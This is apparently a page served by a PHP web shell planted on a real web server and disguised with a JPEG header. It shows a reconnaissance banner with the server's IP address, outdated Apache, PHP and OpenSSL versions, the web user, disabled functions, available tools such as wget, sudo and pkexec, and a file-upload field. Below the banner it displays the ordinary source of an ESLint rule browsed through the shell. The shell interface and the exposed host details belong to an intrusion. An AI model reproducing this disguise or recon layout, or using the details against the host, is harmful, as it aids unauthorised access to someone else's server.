????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.148.211.202 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/forge/node_modules/eslint/lib/rules/ |
Upload File : |
/** * @fileoverview Restrict usage of specified globals. * @author BenoƮt Zugmeyer */ "use strict"; //------------------------------------------------------------------------------ // Helpers //------------------------------------------------------------------------------ const DEFAULT_MESSAGE_TEMPLATE = "Unexpected use of '{{name}}'.", CUSTOM_MESSAGE_TEMPLATE = "Unexpected use of '{{name}}'. {{customMessage}}"; //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ module.exports = { meta: { type: "suggestion", docs: { description: "disallow specified global variables", category: "Variables", recommended: false, url: "https://eslint.org/docs/rules/no-restricted-globals" }, schema: { type: "array", items: { oneOf: [ { type: "string" }, { type: "object", properties: { name: { type: "string" }, message: { type: "string" } }, required: ["name"], additionalProperties: false } ] }, uniqueItems: true, minItems: 0 } }, create(context) { // If no globals are restricted, we don't need to do anything if (context.options.length === 0) { return {}; } const restrictedGlobalMessages = context.options.reduce((memo, option) => { if (typeof option === "string") { memo[option] = null; } else { memo[option.name] = option.message; } return memo; }, {}); /** * Report a variable to be used as a restricted global. * @param {Reference} reference the variable reference * @returns {void} * @private */ function reportReference(reference) { const name = reference.identifier.name, customMessage = restrictedGlobalMessages[name], message = customMessage ? CUSTOM_MESSAGE_TEMPLATE : DEFAULT_MESSAGE_TEMPLATE; context.report({ node: reference.identifier, message, data: { name, customMessage } }); } /** * Check if the given name is a restricted global name. * @param {string} name name of a variable * @returns {boolean} whether the variable is a restricted global or not * @private */ function isRestricted(name) { return Object.prototype.hasOwnProperty.call(restrictedGlobalMessages, name); } return { Program() { const scope = context.getScope(); // Report variables declared elsewhere (ex: variables defined as "global" by eslint) scope.variables.forEach(variable => { if (!variable.defs.length && isRestricted(variable.name)) { variable.references.forEach(reportReference); } }); // Report variables not declared at all scope.through.forEach(reference => { if (isRestricted(reference.identifier.name)) { reportReference(reference); } }); } }; } };